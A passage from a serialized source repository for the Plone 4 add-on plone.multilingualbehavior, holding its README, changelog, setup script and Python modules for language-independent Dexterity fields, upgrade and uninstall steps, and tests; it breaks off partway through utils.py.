"============================\nplone.multilingualbehavior\n============================\n\nplone.multilingualbehavior adds multilingual behavior to content types built\nwith Dexterity. It uses the next generation multilingual engine powered by\nfive/Zope3 technologies, plone.multilingual.\n\nThis is for **Plone 4 only**.\nFor Plone 5, use `plone.app.multilingual <https://github.com/plone/plone.app.multilingual>`_ directly.\n\nThe behavior provides the Dexterity-driven content with a marker interface\n\"ITranslatable\", and makes available to that translation enabled type all the\ntranslation UI components such as menus, views, etc...\n\nTo make your Dexterity content type translatable, add the following line to\nthe ``behaviors`` property in your type's profile::\n\n <property name=\"behaviors\">\n <element value=\"plone.multilingualbehavior.interfaces.IDexterityTranslatable\" />\n </property>\n\n``plone.multilingualbehavior`` implements language independent fields. The content\nof language independent fields is the same across all language versions. This\nis convenient, but also a little dangerous, because editing the field on any\nlanguage version will change the content on all other language versions.\n\nFor details on how to make fields language independent, see the examples in\nthe ``tests`` folder. ``tests/schemata.py`` shows how to make fields language\nindependent when using the Grok framework; ``tests/samplecontent_type.xml`` shows\nhow to achieve the same thing in an xml file. It is also possible to set a\nfield to be language independent through the web, given a sufficiently new\nversion of ``plone.schemaeditor``.\n\nFor more information, please visit:\nhttps://github.com/plone/plone.app.multilingual\n\nPlease report any bugs or feature requests to our `issue tracker <https://github.com/plone/plone.app.multilingual/issues>`_.\n\n\nDependencies\n------------\n- `plone.multilingual <https://github.com/plone/plone.multilingual>`_ (Core and base implementation)\n- `plone.app.multilingual <https://github.com/plone/plone.app.multilingual>`_ (Multilingual configlet, menu and global views)\n\n\nContributors\n------------\n\n- Ramon Navarro [bloodbare] ([email protected])\n- Víctor Fernández de Alba [sneridagh] ([email protected])\n- Daniel Widerin [saily]\n" }, { "alpha_fraction": 0.5526975989341736, "alphanum_fraction": 0.5595985054969788, "avg_line_length": 31.53061294555664, "blob_id": "db6e757de8a130edd3fd065e14151539e4cbd26b", "content_id": "caa94ce84262135eba4fe297632defa7f4852a3f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1594, "license_type": "no_license", "max_line_length": 76, "num_lines": 49, "path": "/setup.py", "repo_name": "plone/plone.multilingualbehavior", "src_encoding": "UTF-8", "text": "from setuptools import setup, find_packages\n\nversion = '1.2.4.dev0'\n\nsetup(name='plone.multilingualbehavior',\n version=version,\n description=\"Dexterity behavior for enabling multilingual extensions\",\n long_description=open(\"README.rst\").read() + \"\\n\" +\n open(\"CHANGES.rst\").read(),\n # Get more strings from https://pypi.org/classifiers/\n classifiers=[\n \"Development Status :: 7 - Inactive\",\n \"Framework :: Plone\",\n \"Framework :: Plone :: 4.3\",\n \"License :: OSI Approved :: GNU General Public License (GPL)\",\n \"Programming Language :: Python\",\n \"Programming Language :: Python :: 2\",\n \"Programming Language :: Python :: 2.7\",\n ],\n keywords='dexterity multilingual plone',\n author='Plone Foundation',\n author_email='[email protected]',\n url='https://github.com/plone/plone.multilingualbehavior',\n license='GPL',\n packages=find_packages(exclude=['ez_setup']),\n namespace_packages=['plone'],\n include_package_data=True,\n zip_safe=False,\n install_requires=[\n 'setuptools',\n 'plone.directives.form',\n 'plone.directives.dexterity',\n 'plone.app.dexterity',\n 'plone.multilingual',\n 'plone.app.multilingual',\n ],\n extras_require={\n 'test': [\n 'plone.app.testing',\n 'plone.app.dexterity[relations]',\n ],\n },\n entry_points=\"\"\"\n # -*- Entry points: -*-\n\n [z3c.autoinclude.plugin]\n target = plone\n \"\"\",\n )\n" }, { "alpha_fraction": 0.6367554664611816, "alphanum_fraction": 0.6818181872367859, "avg_line_length": 22.850467681884766, "blob_id": "848bc5a8db6712c009d7c15762db2c7c92149cd8", "content_id": "131970a90d438f8540ef3c34588e47c6d7f155b2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 2552, "license_type": "no_license", "max_line_length": 95, "num_lines": 107, "path": "/CHANGES.rst", "repo_name": "plone/plone.multilingualbehavior", "src_encoding": "UTF-8", "text": "Changelog\n=========\n\n1.2.4 (unreleased)\n------------------\n\n- Nothing changed yet.\n\n\n1.2.3 (2019-12-27)\n------------------\n\n- Made the ``__name__`` method of the handler a property.\n Otherwise you get a very weird name with 'bound method' in it.\n [maurits]\n\n\n1.2.2 (2019-12-24)\n------------------\n\n- Add uninstall step.\n [bsuttor]\n\n- ``__name__`` method is added for preventing bug when you try to go in Components\n tab into ZMI (/manage_components) or when you try to make a snapshot.\n [bsuttor]\n\n- Add uninstall profile.\n [bsuttor]\n\n\n1.2.1 (2014-05-23)\n------------------\n\n- Use the more specific IEditFinishedEvent rather than IObjectModifiedEvent\n for copying over language independent fields, since IObjectModifiedEvent\n can be thrown multiple times, causing a performace lag [pysailor]\n\n1.2 - 2013-09-24\n----------------\n\n- Check property ``bypass_languageindependent_field_permission_check`` exists\n in registry to allow usage with lrf-branch. [saily]\n\n- Rewrite ``handle_modified`` subscriber to notify ObjectModifiedEvent,\n and pass canonical object as event-description. This replaces the non-working\n semaphore. Fixes #65\n [saily]\n\n- Switch to a cloned user with a global Editor role to allow synchronization\n of language independant fields of other object (which the current user could\n not have permission to) when modifying an object. Fixes #66\n [saily]\n\n- We may need to know the language from a object that is not ITranslatable\n [ramon]\n\n1.1 - 2013-06-19\n----------------\n\n- Minor PEP8 errors\n [ramon]\n\n1.0 - 2013-04-16\n----------------\n\n- Removing ITG usage to ITranslationManager\n [pysailor]\n- Added a test for adding multilingual behavior through the web\n [pysailor]\n\n\n1.0rc1 - 2013-01-26\n-------------------\n\n- Adding relationfield to test profile\n [ramon]\n\n- PEP8 cleanup\n [saily]\n\n- Correct import and add new dependency for ``plone.supermodel.model``\n because ``plone.directives.form`` 2.0 does no longer depend on grok.\n [saily]\n\n\n1.0b3 - 2012-10-04\n------------------\n\n- Added tests [sneridagh]\n- Cleaning subscribers [ramon]\n\n\n1.0b2 - 2012-7-9\n----------------\n\n- Enable Realtedfields copying the correct translated item when is language independent [ramon]\n- Handle case of behaviors where attributes have never been set [do3cc]\n\n\n1.0b1 - 2012-4-3\n----------------\n\n- Schema editor plugin to enable language indepedent fields TTW [ramon]\n- Language independent field implementation [ramon]\n- Supermodel, grok and native language independent field markers [ramon]\n- ILanguage implementation [awello]\n" }, { "alpha_fraction": 0.6721660494804382, "alphanum_fraction": 0.6742948293685913, "avg_line_length": 31.379310607910156, "blob_id": "7788efd7c3dfbe4e19a9410dee7628f1c954d8a6", "content_id": "4232220360296b8c427f91cd8465736ae4f252d5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1879, "license_type": "no_license", "max_line_length": 98, "num_lines": 58, "path": "/plone/multilingualbehavior/tests/schemata.py", "repo_name": "plone/plone.multilingualbehavior", "src_encoding": "UTF-8", "text": "from zope import schema\nfrom zope.interface import Interface\nfrom zope.interface import alsoProvides\n\nfrom plone.directives import form\n\nfrom plone.multilingualbehavior import directives\nfrom plone.multilingualbehavior.interfaces import ILanguageIndependentField\n\nfrom z3c.relationfield.schema import RelationChoice, RelationList\n\nfrom plone.formwidget.contenttree import ObjPathSourceBinder\n\n\nclass ITestSchemaGrok(form.Schema):\n \"\"\"Schema used for testing\n \"\"\"\n\n title = schema.TextLine(title=u\"Title\",\n description=u\"Administrative title\")\n\n directives.languageindependent('description')\n description = schema.Text(title=u\"Description\",\n required=False)\n\n directives.languageindependent('description2')\n description2 = schema.Text(title=u\"Description 2\",\n required=False)\n\n\nclass IRelatedTestSchemaGrok(form.Schema):\n \"\"\"Schema used for related testing\n \"\"\"\n\n directives.languageindependent('multiple')\n multiple = RelationList(title=u\"Multiple (Relations field)\",\n required=False,\n value_type=RelationChoice(title=u\"Multiple\",\n vocabulary=\"plone.formwidget.relations.cmfcontentsearch\"))\n\n directives.languageindependent('single')\n single = RelationChoice(title=u\"Single\",\n required=False,\n source=ObjPathSourceBinder(object_provides=ITestSchemaGrok.__identifier__))\n\n\nclass ITestSchemaInterface(Interface):\n \"\"\"Schema used for testing\n \"\"\"\n\n title = schema.TextLine(title=u\"Title\",\n description=u\"Administrative title\")\n\n description = schema.Text(title=u\"Description\",\n required=False)\n\n\nalsoProvides(ITestSchemaInterface['description'], ILanguageIndependentField)\n\n" }, { "alpha_fraction": 0.6998277306556702, "alphanum_fraction": 0.7006890773773193, "avg_line_length": 39.034481048583984, "blob_id": "74702e557ec09cad0299a406ba460860bc6b35b3", "content_id": "d2c6a7e5902fa14946924d383adce111187a35a0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2322, "license_type": "no_license", "max_line_length": 78, "num_lines": 58, "path": "/plone/multilingualbehavior/upgrades/upgrades.py", "repo_name": "plone/plone.multilingualbehavior", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom Products.GenericSetup.utils import _resolveDottedName\nfrom zope.component.hooks import getSite\nfrom zope.component.interfaces import IComponentRegistry\n\nimport logging\nlog = logging.getLogger(__name__)\n\n\ndef enable_ieditfinishedevent(context):\n \"\"\"\n Replaces handler registration for IObjectModifiedEvent with\n IEditFinishedEvent.\n The important part of this step is purging the component registry of\n old registrations for adapters. Due to the way unregistering works in\n the registry (by comparing actual factory instances instead of\n classes), we cannot rely on the registry to perform this task.\n \"\"\"\n old_for_ = \"\"\"plone.multilingualbehavior.interfaces.IDexterityTranslatable\n zope.lifecycleevent.interfaces.IObjectModifiedEvent\"\"\"\n new_for_ = \"\"\"plone.multilingualbehavior.interfaces.IDexterityTranslatable\n plone.dexterity.interfaces.IEditFinishedEvent\"\"\"\n handler_name = \"plone.multilingualbehavior.subscriber.handler\"\n portal = getSite()\n sm = portal.getSiteManager()\n if not IComponentRegistry.providedBy(sm):\n log.warning('Site manager does not provide component registry')\n return\n\n handler = _resolveDottedName(handler_name)\n required_old = []\n for interface in old_for_.split():\n required_old.append(_resolveDottedName(interface))\n\n required_new = []\n for interface in new_for_.split():\n required_new.append(_resolveDottedName(interface))\n\n # Very similar code is found in zope.component.registry.Components,\n # method unregisterHandler()\n # But here we compare the __class__ of each factory, not the factory\n # itself\n existing_registration = [\n (r, n, f, i)\n for (r, n, f, i)\n in sm._handler_registrations\n if (r == tuple(required_old) and f.__class__ == handler.__class__)\n ]\n\n # Depending on how often the compentneregistry step had been run in the\n # current site, this list may contain one or many registrations for\n # the same pair of interfaces\n for existing in existing_registration:\n if sm.unregisterHandler(\n factory=existing[2], required=required_old):\n log.info('Unregistered old event handler')\n\n sm.registerHandler(handler, required=required_new)\n" }, { "alpha_fraction": 0.7505668997764587, "alphanum_fraction": 0.7573696374893188, "avg_line_length": 23.5, "blob_id": "ac7a8ef8e0e8799dcd13e0f0786fb9ff24898507", "content_id": "8fd9c642541f7f846250e0b5eb546e0815f18125", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 441, "license_type": "no_license", "max_line_length": 60, "num_lines": 18, "path": "/plone/multilingualbehavior/interfaces.py", "repo_name": "plone/plone.multilingualbehavior", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# vim: set ts=4 sw=4:\nfrom plone.multilingual.interfaces import (\n ITranslatable,\n)\n\nfrom directives import languageindependent\nfrom zope.interface import Interface\n\nMULTILINGUAL_KEY = languageindependent.dotted_name()\n\n\nclass IDexterityTranslatable(ITranslatable):\n \"\"\" special marker for dexterity \"\"\"\n\n\nclass ILanguageIndependentField(Interface):\n \"\"\" Marker interface for language independent fields \"\"\"\n" }, { "alpha_fraction": 0.729528546333313, "alphanum_fraction": 0.7320099472999573, "avg_line_length": 39.400001525878906, "blob_id": "d2f8729276ac97cce702c10d86d7378cadf2c8ce", "content_id": "ca0394ffe9c2cc532212752cc2b5f9acd5a1dd2a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 403, "license_type": "no_license", "max_line_length": 79, "num_lines": 10, "path": "/plone/multilingualbehavior/Extensions/install.py", "repo_name": "plone/plone.multilingualbehavior", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"Legacy install/uninstall-methods to guard from re-installing/uninstalling\"\"\"\nfrom Products.CMFCore.utils import getToolByName\n\n\ndef uninstall(context, reinstall=False):\n if not reinstall:\n setup_tool = getToolByName(context, 'portal_setup')\n setup_tool.runAllImportStepsFromProfile(\n 'profile-plone.multilingualbehavior:uninstall', purge_old=False)" }, { "alpha_fraction": 0.7064220309257507, "alphanum_fraction": 0.7064220309257507, "avg_line_length": 34.03571319580078, "blob_id": "408688b28989b250d7de8f99c29791012e3b55db", "content_id": "f239e6884d4e0588d8bd12ccd42ecaef5112a9ad", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 981, "license_type": "no_license", "max_line_length": 79, "num_lines": 28, "path": "/plone/multilingualbehavior/meta.py", "repo_name": "plone/plone.multilingualbehavior", "src_encoding": "UTF-8", "text": "import martian\nfrom martian.error import GrokImportError\n\nfrom zope.interface import alsoProvides\n\nfrom plone.multilingualbehavior.interfaces import ILanguageIndependentField\nfrom plone.multilingualbehavior.directives import languageindependent\nfrom plone.directives.form import Schema\n\n\nclass MultilingualGrokker(martian.InstanceGrokker):\n martian.component(Schema.__class__)\n martian.directive(languageindependent)\n\n def execute(self, interface, config, **kw):\n\n languageindependentfields = interface.queryTaggedValue(\n languageindependent.dotted_name(), [])\n\n for fieldName in languageindependentfields:\n try:\n alsoProvides(interface[fieldName], ILanguageIndependentField)\n except KeyError:\n errmsg = \"Field %s set in languageindependent() directive \" + \\\n \"on %s not found\"\n\n raise GrokImportError(errmsg % (fieldName, interface,))\n return True\n" }, { "alpha_fraction": 0.6694021224975586, "alphanum_fraction": 0.6764361262321472, "avg_line_length": 33.119998931884766, "blob_id": "af01c53fbe6c64cd6c75e2ca426f3750f69cad98", "content_id": "35ffb6ab21df9eccb7c369bd62f39fafead79b40", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1706, "license_type": "no_license", "max_line_length": 92, "num_lines": 50, "path": "/plone/multilingualbehavior/tests/tests.py", "repo_name": "plone/plone.multilingualbehavior", "src_encoding": "UTF-8", "text": "import unittest2 as unittest\nimport doctest\nfrom plone.testing import layered\nfrom plone.multilingualbehavior.testing import PLONEMULTILINGUALBEHAVIOR_INTEGRATION_TESTING\nfrom plone.multilingualbehavior.testing import PLONEMULTILINGUALBEHAVIOR_FUNCTIONAL_TESTING\nfrom plone.multilingualbehavior.testing import optionflags\n\nimport pkg_resources\n\n\nintegration_tests = [\n 'doctest_behavior.txt',\n 'doctest_native.txt',\n 'doctest_grok_directive.txt',\n 'doctest_manualbehavior.txt',\n]\nfunctional_tests = [\n 'language.txt'\n]\n\n\ndef is_plone43():\n plone_pkg = pkg_resources.get_distribution('Products.CMFPlone')\n return cmp(pkg_resources.parse_version(plone_pkg.version),\n pkg_resources.parse_version('4.3')) >= 0\n\n\ndef test_suite():\n if not is_plone43():\n # This test doesn't work for versions for Dexterity under 2.0\n # For testing purposes, we only test for the Plone version is\n # superior to 4.3 as this is the fixture being tested.\n integration_tests.remove('doctest_manualbehavior.txt')\n\n return unittest.TestSuite(\n [layered(doctest.DocFileSuite('%s' % f,\n package='plone.multilingualbehavior.tests',\n optionflags=optionflags),\n layer=PLONEMULTILINGUALBEHAVIOR_INTEGRATION_TESTING)\n for f in integration_tests]\n +\n [layered(doctest.DocFileSuite('%s' % f,\n package='plone.multilingualbehavior.tests',\n optionflags=optionflags),\n layer=PLONEMULTILINGUALBEHAVIOR_FUNCTIONAL_TESTING)\n for f in functional_tests]\n )\n\nif __name__ == '__main__':\n unittest.main(defaultTest='test_suite')\n" }, { "alpha_fraction": 0.7286052107810974, "alphanum_fraction": 0.7290779948234558, "avg_line_length": 35.465518951416016, "blob_id": "ca117407d551b3551abc82f966318cf0a320fb2e", "content_id": "9cfe8b999fcb179b34521118366c479d466d7e46", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2115, "license_type": "no_license", "max_line_length": 74, "num_lines": 58, "path": "/plone/multilingualbehavior/testing.py", "repo_name": "plone/plone.multilingualbehavior", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom plone.app.testing import PLONE_FIXTURE\nfrom plone.app.testing import PloneSandboxLayer\nfrom plone.app.testing import applyProfile\nfrom plone.app.testing import setRoles\nfrom plone.app.testing import TEST_USER_ID\nfrom plone.app.testing import IntegrationTesting\nfrom plone.app.testing import FunctionalTesting\nfrom zope.configuration import xmlconfig\nfrom OFS.Folder import Folder\nfrom Testing import ZopeTestCase as ztc\n\nimport doctest\nimport transaction\n\n\nclass PloneMultilingualbehaviorLayer(PloneSandboxLayer):\n defaultBases = (PLONE_FIXTURE,)\n\n class Session(dict):\n def set(self, key, value):\n self[key] = value\n\n def setUpZope(self, app, configurationContext):\n # load ZCML\n import plone.multilingualbehavior\n import plone.multilingualbehavior.tests\n xmlconfig.file('configure.zcml', plone.multilingualbehavior,\n context=configurationContext)\n xmlconfig.file('configure.zcml', plone.multilingualbehavior.tests,\n context=configurationContext)\n\n # Support sessionstorage in tests\n app.REQUEST['SESSION'] = self.Session()\n if not hasattr(app, 'temp_folder'):\n tf = Folder('temp_folder')\n app._setObject('temp_folder', tf)\n transaction.commit()\n\n ztc.utils.setupCoreSessions(app)\n\n def setUpPloneSite(self, portal):\n # install into the Plone site\n applyProfile(portal, 'plone.multilingualbehavior:default')\n applyProfile(portal, 'plone.multilingualbehavior.tests:testing')\n setRoles(portal, TEST_USER_ID, ['Manager'])\n\n\nPLONEMULTILINGUALBEHAVIOR_FIXTURE = PloneMultilingualbehaviorLayer()\n\nPLONEMULTILINGUALBEHAVIOR_INTEGRATION_TESTING = IntegrationTesting(\n bases=(PLONEMULTILINGUALBEHAVIOR_FIXTURE,),\n name=\"plone.multilingualbehavior:Integration\")\nPLONEMULTILINGUALBEHAVIOR_FUNCTIONAL_TESTING = FunctionalTesting(\n bases=(PLONEMULTILINGUALBEHAVIOR_FIXTURE,),\n name=\"plone.multilingualbehavior:Functional\")\n\noptionflags = (doctest.ELLIPSIS | doctest.NORMALIZE_WHITESPACE)\n" }, { "alpha_fraction": 0.6708022952079773, "alphanum_fraction": 0.6716294288635254, "avg_line_length": 35.6363639831543, "blob_id": "6fea410888fd05786f2c5a57ebe6789de0a9200b", "content_id": "cc553c2455274198cab69db444b48bfefd337690", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1209, "license_type": "no_license", "max_line_length": 79, "num_lines": 33, "path": "/plone/multilingualbehavior/supermodel.py", "repo_name": "plone/plone.multilingualbehavior", "src_encoding": "UTF-8", "text": "try:\n from plone.supermodel.interfaces import IFieldMetadataHandler\n HAVE_SUPERMODEL = True\nexcept ImportError:\n HAVE_SUPERMODEL = False\n\nif HAVE_SUPERMODEL:\n\n from zope.interface import implements, alsoProvides\n from plone.supermodel.utils import ns\n from plone.multilingualbehavior.interfaces import ILanguageIndependentField\n\n class LanguageIndependentFieldMetadataHandler(object):\n \"\"\"Define the ``lingua`` namespace.\n\n This lets you write lingua:independent=\"true\" on a field to mark it as\n a language independent field.\n \"\"\"\n\n implements(IFieldMetadataHandler)\n\n namespace = \"http://namespaces.plone.org/supermodel/lingua\"\n prefix = \"lingua\"\n\n def read(self, fieldNode, schema, field):\n independent = fieldNode.get(ns('independent', self.namespace))\n if independent is not None and \\\n independent.lower() in (\"true\", \"on\", \"yes\", \"y\", \"1\"):\n alsoProvides(field, ILanguageIndependentField)\n\n def write(self, fieldNode, schema, field):\n if ILanguageIndependentField.providedBy(field):\n fieldNode.set(ns('independent', self.namespace), \"true\")\n" }, { "alpha_fraction": 0.7022304534912109, "alphanum_fraction": 0.7029739618301392, "avg_line_length": 39.149253845214844, "blob_id": "1801a9cfdfa9e6855b7a77c0e11b26bb1b7693f9", "content_id": "e15efc29f0e38017b8ce1c50e540a4d9e6fc3833", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2690, "license_type": "no_license", "max_line_length": 79, "num_lines": 67, "path": "/plone/multilingualbehavior/schemaeditor.py", "repo_name": "plone/plone.multilingualbehavior", "src_encoding": "UTF-8", "text": "try:\n from plone.schemaeditor.interfaces import IFieldEditorExtender\n HAVE_EDITOREXTENDER = True\nexcept ImportError:\n HAVE_EDITOREXTENDER = False\n\nif HAVE_EDITOREXTENDER:\n\n from zope.interface import implements, Interface, alsoProvides, \\\n noLongerProvides\n from zope import schema\n from zope.schema import interfaces\n from zope.component import adapts, provideAdapter, adapter\n\n from zope.schema.interfaces import IField\n from plone.schemaeditor.interfaces import ISchemaContext\n\n #from plone.schemaeditor.interfaces import IBehaviorExtensionFields\n from plone.multilingualbehavior.interfaces import ILanguageIndependentField\n from zope.i18nmessageid import MessageFactory\n\n PMF = MessageFactory('plone.multilingualbehavior')\n\n class IFieldLanguageIndependent(Interface):\n languageindependent = schema.Bool(\n title=PMF(u'Language independent field'),\n description=PMF(u'The field is going to be copied on all '\n u'translations when you edit the content'),\n required=False)\n\n class FieldLanguageIndependentAdapter(object):\n implements(IFieldLanguageIndependent)\n adapts(interfaces.IField)\n\n def __init__(self, field):\n self.field = field\n\n def _read_languageindependent(self):\n return ILanguageIndependentField.providedBy(self.field)\n\n def _write_languageindependent(self, value):\n if value:\n alsoProvides(self.field, ILanguageIndependentField)\n else:\n noLongerProvides(self.field, ILanguageIndependentField)\n languageindependent = property(_read_languageindependent,\n _write_languageindependent)\n\n # IFieldLanguageIndependent could be registered directly as a named adapter\n # providing IFieldEditorExtender for ISchemaContext and IField. But we can\n # also register a separate callable which returns the schema only if\n # additional conditions pass:\n @adapter(ISchemaContext, IField)\n def get_li_schema(schema_context, field):\n if 'plone.multilingualbehavior.interfaces.IDexterityTranslatable' \\\n in schema_context.fti.behaviors:\n return IFieldLanguageIndependent\n\n # Register the callable which makes the field edit form know about the\n # new schema:\n provideAdapter(get_li_schema,\n provides=IFieldEditorExtender,\n name='plone.schemaeditor.languageindependent')\n\n # And the adapter for getting/setting the value.\n provideAdapter(FieldLanguageIndependentAdapter,\n provides=IFieldLanguageIndependent)\n" }, { "alpha_fraction": 0.802395224571228, "alphanum_fraction": 0.802395224571228, "avg_line_length": 15.800000190734863, "blob_id": "510d0e94b64d0ee70f5b4c214b36ddefb27030eb", "content_id": "d5c2c4400eef15ff6e6a4f646efcecf5aaefdfc9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 167, "license_type": "no_license", "max_line_length": 67, "num_lines": 10, "path": "/plone/multilingualbehavior/__init__.py", "repo_name": "plone/plone.multilingualbehavior", "src_encoding": "UTF-8", "text": "#\n# Convenience API\n#\n\nimport zope.deferredimport\nimport schemaeditor\n\nzope.deferredimport.defineFrom('plone.multilingualbehavior.schema',\n 'languageindependent',\n)" }, { "alpha_fraction": 0.7272727489471436, "alphanum_fraction": 0.7272727489471436, "avg_line_length": 25.230770111083984, "blob_id": "cbecfeaf736050b2a14fecad78c50dbba32b65d2", "content_id": "88ef83ea355ad2e162fea8f694fb36818bc723ea", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 682, "license_type": "no_license", "max_line_length": 66, "num_lines": 26, "path": "/plone/multilingualbehavior/language.py", "repo_name": "plone/plone.multilingualbehavior", "src_encoding": "UTF-8", "text": "from zope import interface\n\nfrom plone.multilingual.interfaces import LANGUAGE_INDEPENDENT\nfrom plone.multilingual.interfaces import ILanguage\nfrom plone.app.dexterity.behaviors.metadata import ICategorization\n\n\n# Patch for hiding 'language' field from the edit form\nICategorization['language'].readonly = True\n\n\nclass Language(object):\n\n def __init__(self, context):\n self.context = context\n\n interface.implements(ILanguage)\n\n def get_language(self):\n language = self.context.language\n if not language:\n language = LANGUAGE_INDEPENDENT\n return language\n\n def set_language(self, language):\n self.context.language = language\n" }, { "alpha_fraction": 0.667479932308197, "alphanum_fraction": 0.6706169247627258, "avg_line_length": 36.75, "blob_id": "49fb5d996bdf4ca6816b67fce059d6cdfe2981fc", "content_id": "aed5a7aea7247e64282709c5e01e098a73ccd351", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2869, "license_type": "no_license", "max_line_length": 151, "num_lines": 76, "path": "/plone/multilingualbehavior/setuphandlers.py", "repo_name": "plone/plone.multilingualbehavior", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom Products.GenericSetup.utils import _resolveDottedName\nfrom zope.component.hooks import getSite\nfrom zope.component.interfaces import IComponentRegistry\nfrom zope.component import getGlobalSiteManager\nimport transaction\nimport logging\nfrom Products.CMFCore.utils import getToolByName\nlog = logging.getLogger(__name__)\n\n\ndef uninstall(context):\n \"\"\"\n \"\"\"\n if context.readDataFile('pmb_uninstall.txt') is None:\n return\n for_ = \"\"\"plone.multilingualbehavior.interfaces.IDexterityTranslatable\n plone.dexterity.interfaces.IEditFinishedEvent\"\"\"\n handler_name = \"plone.multilingualbehavior.subscriber.handler\"\n\n portal = getSite()\n sm = portal.getSiteManager()\n if not IComponentRegistry.providedBy(sm):\n log.warning('Site manager does not provide component registry')\n return\n\n handler = _resolveDottedName(handler_name)\n\n required = []\n for interface in for_.split():\n required.append(_resolveDottedName(interface))\n\n existing_registration = [(r, n, f, i) for (r, n, f, i) in sm._handler_registrations if (r == tuple(required) and f.__class__ == handler.__class__)]\n # Depending on how often the compentneregistry step had been run in the\n # current site, this list may contain one or many registrations for\n # the same pair of interfaces\n\n for existing in existing_registration:\n sm.unregisterHandler(\n factory=existing[2], # plone.multilingualbehavior.subscriber.LanguageIndependentModifier\n required=required) # (IDexterityTranslatable, IEditFinishedEvent)\n log.info('Unregistered old event handler')\n\n\n # gsm = getGlobalSiteManager()\n # adapter_hook = gsm.adapters.adapter_hook\n # adapters = gsm.utilities._adapters\n # for x in adapters[0]:\n # for key in adapters[0][x].keys():\n # if 'plone.multilingualbehavior' in str(key):\n # del adapters[0][x][key]\n # log.info(\"Delete adapter {0} from {1}\".format(key, x))\n # gsm.utilities._adapters = adapters\n\n # provided = gsm.utilities._provided\n # for x in provided:\n # for interface in interfaces:\n # if interface in str(x):\n # del provided[x]\n # log.info(\"Delete provided {0} from {1}\".format(interface, x))\n # gsm.utilities._provided = provided\n\n subscribers = sm.adapters._subscribers\n for i, sub in enumerate(subscribers):\n for key in sub.keys():\n if 'multilingualbehavior' in str(key):\n del subscribers[i][key]\n sm.adapters._subscribers = subscribers\n\n transaction.commit()\n app = portal.restrictedTraverse('/')\n app._p_jar.sync()\n\n # setup_tool = getToolByName(portal, 'portal_setup')\n # setup_tool.runAllImportStepsFromProfile(\n # 'profile-plone.multilingual:uninstall', purge_old=False)\n" }, { "alpha_fraction": 0.6953290700912476, "alphanum_fraction": 0.6953290700912476, "avg_line_length": 25.91428565979004, "blob_id": "9bc7b7f4dd5ce1ae28316561ecfc82d5171e7540", "content_id": "57b4fdc7bb3f0f52026ec9e14a37239c18fe3bf5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 942, "license_type": "no_license", "max_line_length": 75, "num_lines": 35, "path": "/plone/multilingualbehavior/directives.py", "repo_name": "plone/plone.multilingualbehavior", "src_encoding": "UTF-8", "text": "import martian\n\nfrom zope.interface.interface import TAGGED_DATA\n\nTEMP_KEY = '__form_directive_values__'\n\n# Storages\n\nclass LanguageIndependentStorage(object):\n \"\"\"Stores the primary() directive value in a schema tagged value.\n \"\"\"\n\n def set(self, locals_, directive, value):\n tags = locals_.setdefault(TAGGED_DATA, {})\n tags.setdefault(directive.dotted_name(), []).extend(value)\n\n def get(self, directive, component, default):\n return component.queryTaggedValue(directive.dotted_name(), default)\n\n def setattr(self, context, directive, value):\n context.setTaggedValue(directive.dotted_name(), value)\n\n# Directives\n\nclass languageindependent(martian.Directive):\n \"\"\"Directive used to mark one or more fields as 'languageindependent'\n \"\"\"\n\n scope = martian.CLASS\n store = LanguageIndependentStorage()\n\n def factory(self, *args):\n return args\n\n__all__ = ('languageindependent',)\n" }, { "alpha_fraction": 0.6158517003059387, "alphanum_fraction": 0.6171301007270813, "avg_line_length": 37.62963104248047, "blob_id": "0086648edbc91b3b18ed0fdb974e108f69d27456", "content_id": "784601e94496443d6ecf71da25eef382fcbfe480", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3129, "license_type": "no_license", "max_line_length": 78, "num_lines": 81, "path": "/plone/multilingualbehavior/utils.py", "repo_name": "plone/plone.multilingualbehavior", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom zope import interface\nfrom zope.component import getUtility\n\nfrom plone.dexterity import utils\nfrom plone.dexterity.interfaces import IDexterityFTI\n\nfrom plone.multilingual.interfaces import ILanguageIndependentFieldsManager\n\nfrom plone.multilingualbehavior.interfaces import ILanguageIndependentField\nfrom z3c.relationfield.interfaces import IRelationValue\n\nfrom plone.multilingual.interfaces import ILanguage\nfrom zope.component import queryAdapter\nfrom plone.multilingual.interfaces import ITranslationManager\n\nfrom zope.app.intid.interfaces import IIntIds\nfrom zope import component\nfrom z3c.relationfield import RelationValue\n\n_marker = object()\n\n\nclass LanguageIndependentFieldsManager(object):\n interface.implements(ILanguageIndependentFieldsManager)\n\n def __init__(self, context):\n self.context = context\n\n def has_independent_fields(self):\n fti = getUtility(IDexterityFTI, name=self.context.portal_type)\n schemas = []\n schemas.append(fti.lookupSchema())\n\n for behavior_schema in \\\n utils.getAdditionalSchemata(self.context,\n self.context.portal_type):\n if behavior_schema is not None:\n schemas.append(behavior_schema)\n\n for schema in schemas:\n for field_name in schema:\n if ILanguageIndependentField.providedBy(schema[field_name]):\n return True\n return False\n\n def copy_fields(self, translation):\n fti = getUtility(IDexterityFTI, name=self.context.portal_type)\n schemas = 